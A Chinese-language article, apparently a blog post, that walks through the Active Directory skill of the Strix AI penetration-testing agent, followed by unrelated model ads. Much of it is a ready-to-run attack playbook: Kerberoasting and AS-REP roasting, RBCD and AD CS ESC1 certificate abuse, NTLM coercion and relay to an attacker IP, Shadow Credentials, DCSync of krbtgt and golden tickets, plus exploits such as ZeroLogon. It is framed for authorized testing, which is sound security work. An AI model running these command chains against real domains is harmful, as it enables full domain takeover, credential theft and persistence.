Strix Active Directory 测试技能深度解析:Kerberos、AD CS 与委派滥用的实战方法论
本文围绕开源 AI 渗透测试工具 Strix 内置的 active_directory 技能文档(路径:
strix/skills/technologies/active_directory.md)展开。该技能定义了 Strix Agent 在针对 Active Directory / Kerberos 域环境进行安全测试时的完整打法,覆盖 Roasting、委派滥用、AD CS(ESC1–ESC17)、NTLM Coercion + Relay、DACL 滥用与凭据转储等核心路径。读完本文,你将掌握以"低权限域用户 → Domain Admin"为叙事主线的域测试侦察方法论、可复制的命令链,以及 Strix 沙箱内安装与编排这些身份层测试工具的具体方式。
在 Strix 的技能体系里,active_directory 属于 technologies 分类——面向"第三方技术栈"(Supabase、Firebase、Auth0、Electron 等)的专项技能之一。它的核心立场是:Active Directory 沦陷通常源自配置错误而非内存破坏漏洞——一个可被 Roasting 的服务账户、一个委派标志位、一个配置不当的证书模板、或一个过度授权的 ACL,就能让单个低权限域用户变成 Domain Admin。几乎所有攻击路径都始于有效域凭据(或一个能强制出认证的立足点),几乎都终结于 DCSync 或伪造票据。
技能定位与加载方式
在 Strix 中,技能是带 YAML frontmatter 的知识包,frontmatter 的 description 决定了 Agent 何时选中它:
---
name: active_directory
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
---
从源码结构看,技能的实际生效机制如下(对应 strix/skills/init.py):
- 目录约定:技能文件位于
strix/skills/<category>/<name>.md,Agent 创建时最多挂载 5 个相关技能; - frontmatter 解析:
load_skills()会剥离 YAML frontmatter,仅把 Markdown 正文注入上下文; - 动态参考:load_skill 工具 允许 Agent 在任务中途按需拉取技能正文作为工具结果,无需重启子 Agent。
即:本文所讲解的一切命令与方法,会被 Strix 直接作为"参考材料"投喂给负责该项测试的子 Agent,因此其内容必须做到可直接照做、逐条可执行。
攻击面:从端口到对象再到信任边界
每个域控的核心服务
| 服务 | 端口 | 说明 |
|---|---|---|
| Kerberos | 88/tcp+udp | 认证核心协议 |
| LDAP / LDAPS | 389 / 636 | 目录查询 |
| Global Catalog | 3268 / 3269 | 全林目录查询 |
| SMB | 445 | 文件共享与 RPC 载体 |
| RPC / DCE endpoint mapper | 135 + 高位动态端口 | 各种 DCOM/MSRPC 接口 |
| NetBIOS | 137–139 | 遗留名称服务 |
| DNS | 53 | AD 集成 DNS,常允许动态更新(ADIDNS) |
| WinRM / RDP / MSSQL | 5985(5986) / 3389 / 1433 | 成员服务器上的横向入口 |
| AD CS | 80/443 的 /certsrv、/ADPolicyProvider_CEP_*、ES/CES |
证书服务(最现代化的提权面) |
主体与对象(Principals & Objects)
- 用户、计算机(
$账户)、gMSA/sMSA、组、GPO、OU、信任关系(trusts); - 关键属性位:
servicePrincipalName、userAccountControl标志、msDS-AllowedToDelegateTo(约束委派)、msDS-AllowedToActOnBehalfOfOtherIdentity(RBCD)、msDS-KeyCredentialLink(Shadow Credentials); - 对象 DACL:GenericAll / GenericWrite / WriteDacl / WriteOwner / AddSelf。
信任边界
- 林内(父子域)、林间、外部信任、SID History;
MachineAccountQuota(默认 10 → 任何用户都能创建计算机账户,这是 RBCD、noPac 等链路的先决条件)。
侦察:两条分支,一个原则
无凭据 / 预认证侦察
# 通过 LDAP rootDSE 获取域名与命名上下文
nmap -Pn -p 389 --script ldap-rootdse <DC>
# SMB 空会话 / 签名 / OS 信息
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
enum4linux-ng -A <DC>
# 通过 Kerberos 预认证做"无用户名枚举"(不需要密码)
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
已认证枚举(任意有效用户即可)
nxc ldap <DC> -u <USER> -p <PASS> # 确认凭据有效 + 域信息
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # 可读/可写共享
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
BloodHound 图谱:最有价值的单一步骤
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
# 或使用远程 SharpHound 等价采集器:
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
将结果导入 BloodHound(CE)后,先于任何手工操作运行内置的 "Shortest paths to Domain Admins" / "Owned principals" 查询。技能文档明确强调:域沦陷是一个图问题(graph problem),BloodHound 是把枚举结果转化为攻击路径的枢纽。
关键漏洞与利用链
Kerberos Roasting(烤票据)
Kerberoasting——任何已认证用户都能为"带 SPN 的账户"请求服务票据(RC4/$krb5tgs$23$)并离线爆破。攻击目标是人设的服务账户密码;机器账户密码为 120 位随机字符,通常不可破解。
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
# 或使用 impacket
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
hashcat -m 13100 kerb.txt wordlist.txt
AS-REP Roasting——设置了 DONT_REQ_PREAUTH 的账户,在已知用户名、无需任何凭据的情况下即可获得可爆破的 $krb5asrep$23$ 数据块:
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
hashcat -m 18200 asrep.txt wordlist.txt
定向 Kerberoasting——当你对某个用户拥有 GenericAll/GenericWrite 权限时:添加 SPN → Roast → 移除 SPN,全程不留长期痕迹。
委派滥用(三种委派模式)
| 委派类型 | 关键标志/属性 | 利用思路 |
|---|---|---|
| 非约束委派 | TRUSTED_FOR_DELEGATION |
攻陷主机后,用 PrinterBug/PetitPotam 强制 DC/DA 向自己认证,从 LSA 中捕获其 TGT 直接复用 → DCSync |
| 约束委派 | msDS-AllowedToDelegateTo |
S4U2Self + S4U2Proxy 向指定 SPN 模拟任意用户;可替换 SPN 服务类(cifs/host/ldap)扩大访问面 |
| 基于资源的约束委派(RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity |
对计算机对象有写权限 + MachineAccountQuota>0 时,创建伪计算机、写入 RBCD、用 S4U 获取该主机管理员票据 |
RBCD 完整链路:
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
AD 证书服务(ESC1–ESC17)
技能文档将 AD CS 称为收益最高的现代路径:一个配置错误的模板就能把低权限用户提升为 DA,且在密码重置后依然存活。先枚举、后利用:
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
-
ESC1——模板允许申请者提供 SAN 且 EKU 为客户端认证 → 直接申请
administrator的证书:certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN> certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT -
ESC8——NTLM Relay 到 CA 的 Web 注册端点(强制 DC 认证,Relay 到
/certsrv)→ 拿到 DC 证书 → DCSync。 -
其余 ESC——ESC2/3(任意用途/注册代理)、ESC4(模板 DACL 可写 → 改造成 ESC1)、ESC6(CA 上开启
EDITF_ATTRIBUTESUBJECTALTNAME2)、ESC7(CA Officer 权限)、ESC9/10(弱证书映射)、ESC11(RPC Relay)、ESC13(颁发策略→组映射)、ESC15(v1 模板上的应用策略)。certipy find -vulnerable会逐一标记。
NTLM 强制认证与 Relay(Coercion & Relay)
思路:强制特权机器向你认证,再把这份 NTLM 认证 Relay 给不强制签名/EPA 的服务(LDAP、AD CS、SMB)。
# 1. 启动 Relay(LDAP → RBCD,或 AD CS → 证书)
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# 2. 强制目标来认证
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
在广播网段使用 Responder 做 LLMNR/NBT-NS/mDNS 投毒,可捕获 NetNTLMv2 哈希用于离线破解或 Relay。
DACL / 对象滥用
对照 BloodHound 边关系展开:
- GenericAll/GenericWrite 用户 → 定向 Kerberoast 或 Shadow Credentials(经 Certipy/pywhisker 写
msDS-KeyCredentialLink→ PKINIT → NT hash); - WriteDacl/WriteOwner → 先授予自己 GenericAll,再在域对象上授予 DCSync 权限;
- ForceChangePassword → 直接重置目标密码;
- AddMember(特权组)→ 自加入;
- GPO 编辑权 → 向关联 OU 推送即时计划任务 / 本地管理员。
# Shadow Credentials(无需重置密码,更隐蔽)
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
# bloodyAD 用于通用 DACL 编辑
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
凭据访问与域统治(Credential Access & Domain Dominance)
-
DCSync(需复制权限
DS-Replication-Get-Changes*)可导出包括krbtgt在内的任意哈希:secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt nxc smb <DC> -u <USER> -p <PASS> --ntds # 完整 NTDS.dit -
Golden ticket(
krbtgt哈希)/ Silver ticket(服务账户哈希)/ Diamond ticket——伪造 TGT/ST 实现持久化; -
Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket——无需明文即可重用 NT 哈希或 Kerberos 票据;
-
LAPS / gMSA——可读的
ms-Mcs-AdmPwd或msDS-ManagedPassword直接授予本地管理员 / 服务凭据。
已知无认证 CVE(依赖补丁状态)
- ZeroLogon(CVE-2020-1472)——把 DC 机器账户哈希清零,未打补丁 DC 秒变 DA;
- noPac(CVE-2021-42278/42287)——sAMAccountName 伪造 → 冒充 DC;
- PrintNightmare(CVE-2021-1675/34527)、PetitPotam(KB5005413 之前的无认证 MS-EFSR)。
技能文档特别警示:开火前必须先做版本/补丁确认——这些是破坏性利用。
进阶技巧
- UnPAC-the-hash——从 PKINIT/证书认证中恢复用户 NT 哈希(Certipy
auth会直接打印); - sAMAccountName 伪造链(noPac)——当
MachineAccountQuota>0且 DC 未打补丁时可用; - 跨信任 SID History 注入——用于跨域/跨林提权;
- ADIDNS 投毒——通过已认证 LDAP 添加通配符/记录,劫持名称解析;
- Timeroast——若 DC 暴露 MS-SNTP,可通过 NTP 爆破计算机账户口令。
测试方法论:八步执行框架
- 立足点核查——确认凭据可用(
nxc ldap/smb),记录权限、MachineAccountQuota与密码策略; - BloodHound 先行——先采集 + 作图再做手工;把立足点主体标记为 owned,阅读通向 DA 的路径;
- 低噪音凭据收割——AS-REP Roast(无需认证)、Kerberoast、可读 LAPS/gMSA、SYSVOL 中的 GPP 密码;
- AD CS 全面扫——
certipy find -vulnerable;它常常是最短路径,且与 BloodHound 图谱相互独立; - DACL 边遍历——逐条走 owned → 高价值目标的 BloodHound 边;优先 Shadow Credentials(可回滚、更安静)而非密码重置;
- 委派利用——枚举非约束/约束/RBCD;在需要特权认证处与 Coercion 链式组合;
- Coercion + Relay——仅当目标未启用签名/EPA 时使用;先确认 Relay 目标(LDAP/AD CS);
- 证明域统治——DCSync
krbtgt或某个目标用户后停止。除非在授权范围内,否则不要对客户环境做持久化(Golden ticket)。
验证与误报排除
验证五条铁律
- 展示确切误配置(SPN、
userAccountControl标志、模板标志、ACE、缺失补丁)对应的枚举工具原始输出; - 证明获得的权限提升——破解出的服务账户口令、能以特权用户身份认证的已签发证书、或 DCSync 得到的 NT 哈希;
- 给出完整链路:owned 主体 → 边/误配置 → 提权步骤 → 最终访问权,每跳都附命令与证据;
- 把影响落到具体身份上(如"用户
svc-sql→ Domain Admins"),而非笼统地说"AD 配置有问题"; - 对 Coercion/Relay,同时捕获被强制的认证与 Relay 动作成功两个证据。
误报清单(False Positives)
- 机器账户上的可 Kerberoast SPN——120 位随机口令实际不可破解,单独不算发现;
certipy find把模板标为 ESC 漏洞,但你的主体不在注册权内(检查Enrollment Rights/Requires Manager Approval字段);- 存在委派标志但账户被禁用,或目标 SPN 不可达;
- Relay 目标强制 SMB/LDAP 签名或通道绑定(EPA)——Relay 必然失败,不可利用;
- DC 已完全打补丁——ZeroLogon/noPac/PetitPotam 检查报告 "not vulnerable";
- "可写"共享实际只暴露了重定向/隔离路径,无有用内容。
影响评估
- 完整域(通常是整个林)沦陷:读写所有对象、所有凭据、所有数据;
- 通过 Golden ticket、伪造证书或 SID History 获得可存活于补丁周期的持久访问;
- 横向移动至所有加入域的机器(文件服务器、数据库、虚拟化平台);
- 勒索软件爆炸半径——DA 是全网域部署的标准跳板。
Pro Tips:实战前必读
- BloodHound 先于爆破——图谱把数小时的猜测变成一条具名路径;始终标记 owned 节点;
- 尽早做 AS-REP Roast 与
certipy find——两者都很安静,且前者无需凭据; - 有写权限时 Shadow Credentials 优于密码重置——可回滚、不会锁定账户、无需明文;
- 动手前校准时钟:
sudo ntpdate <DC>(或faketime)——KRB_AP_ERR_SKEW会杀死一切票据操作; - 使用 FQDN,把
/etc/resolv.conf指向 DC(或--dns-server)——裸 IP 会破坏 Kerberos 与 LDAP referral; nxc(NetExec)是 CrackMapExec 的继任者——CME 已停止维护;使用nxc及其--gen-relay-list、--bloodhound、-M模块;- 与 nmap 等工具技能、
authentication_jwt技能配合——当域前端是 Web SSO(ADFS/SAML)时切换打法。
工具链:在 Strix 沙箱中的部署要点
这是该技能最具落地价值的部分,也直接影响 Agent 在真实扫描中的成功率:
沙箱默认不含任何 AD 工具(镜像为 Kali-rolling,但只预装 Web 向工具链——对应 Strix 沙箱工具文档 中列出的 Subfinder、naabu、httpx、Nuclei、SQLMap、ZAP、Caido 等)。因此需要按需安装,沙箱内具备 pipx、pip、go、git 及 Kali 的 apt 源。此外,AD 测试要求到目标 DC/子网的网络可达性,而默认面向 Web 目标的沙箱通常不具备——动手前先确认连通性。
# Python 身份层工具集(impacket 含 GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
pipx install impacket
pipx install netexec # nxc — CME 继任者:ldap/smb/winrm 枚举、roasting、bloodhound、ntds
pipx install certipy-ad # AD CS 枚举 + ESC1-ESC17 利用、shadow credentials
pipx install bloodhound-ce # bloodhound-ce-python 采集器(BloodHound CE ingestor)
pipx install coercer # 多协议强制认证(MS-EFSR/RPRN/DFSNM/FSRVP)
pipx install bloodyAD # 基于 LDAP 的 DACL / 对象编辑
pipx install ldapdomaindump # LDAP 转储(bloodhound.py 作者出品)
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — 用户枚举 / 预认证爆破
# Kali apt 包
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
各工具在链路中的角色:
- NetExec (
nxc)——跨 smb/ldap/winrm/mssql 的瑞士军刀式枚举/执行工具;用于凭据验证、共享狩猎、--kerberoasting、--bloodhound、--ntds; - impacket——规范的可脚本化攻击原语集(roasting、S4U、relay、secretsdump、票据伪造);
- Certipy——AD CS 全链路:
find -vulnerable、req、auth、shadow、relay;覆盖 ESC1–ESC17 全集; - BloodHound CE + 采集器——攻击路径绘图;持有任一有效凭据时首先运行;
- Responder / ntlmrelayx / Coercer / PetitPotam——投毒→强制认证→Relay 链路(需要 L2 访问或可强制目标);
- hashcat / john——离线爆破 Roast 出的
$krb5tgs$/$krb5asrep$数据块(模式13100/18200)。
真实人类测试者常用 GUI BloodHound 与 Windows 侧 C# 工具(SharpHound、Rubeus、Certify、PowerView);在沙箱内请优先使用上文对应的 Python/Linux 等价物(bloodhound-ce-python、impacket、Certipy、nxc)——这正是 Strix Agent 在无 GUI 容器环境中能够落地的关键前提。
小结
在 Strix 的视角里,AD 沦陷是一个图问题:从一个有效凭据出发,用 BloodHound 映射路径,再把各类误配置——可 Roast 账户、委派标志、可被攻击的证书模板、Coercion+Relay 以及过度授权的 DACL——链接起来,直到触达 DCSync 或伪造票据。域之所以沦陷,几乎总在身份平面(Kerberos/LDAP/NTLM/SMB/AD CS),而不是网络外围。对使用 Strix 的测试者而言,理解本文即理解 active_directory 技能被注入 Agent 上下文后应当遵循的全部纪律:先侦察、后爆破;先图谱、后手工;每一条利用都伴随验证证据,每一次"证明到 DA"都在 DCSync 处停下。
如需在自有技能目录中扩展或覆盖该技能,可参考 register_skill_dir 机制(外部目录同名技能会遮蔽内置技能),技能整体架构见 Strix Skills 说明 与 Skills 使用文档。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0624
Hy4-previewHy4 preview 是由腾讯混元团队研发的新一代混合专家(MoE)旗舰模型。模型总参数量 770B,每个 token 激活 49B,主干共包含78层,第一层采用标准 FFN,其余 77 层均为 MoE 结构,每层包含 256 个路由专家与 1 个共享专家,每个 token 激活 top-8 路由专家及共享专家。主干之外原生内置 1 层 MTP(总参数量 10B,激活 0.7B)以支持投机解码。Python00
GLM-5.3GLM-5.3 与 GLM-5.2 使用相同的基座模型——所有提升均来自后训练。与 GLM-5.2 相比,它在复杂编程和长程任务上的表现显著提升。Jinja00
GLM-5.3-FlashGLM-5.3-Flash (320B-A18B),是GLM-5系列的首个原生多模态模型。320B总参数,能力超过GLM-5.2Jinja00
Spark-X2.5-4BSpark-X2.5-4B 旨在让强大的 AI 更实用、更高效、更易获得。在广泛日常任务中表现强劲,涵盖对话、写作、翻译、推理、编码、工具调用以及智能体工作流,并在同等规模的开源模型中取得领先成绩。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00
Spark-X2.5-1.7BSpark-X2.5-1.7B 旨在让强大的 AI 更加实用、高效且易于获取。这些模型在广泛的日常任务中表现出色,涵盖对话、写作、翻译、推理、编程、工具调用和智能体工作流,并在同等规模的开源模型中取得领先结果。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00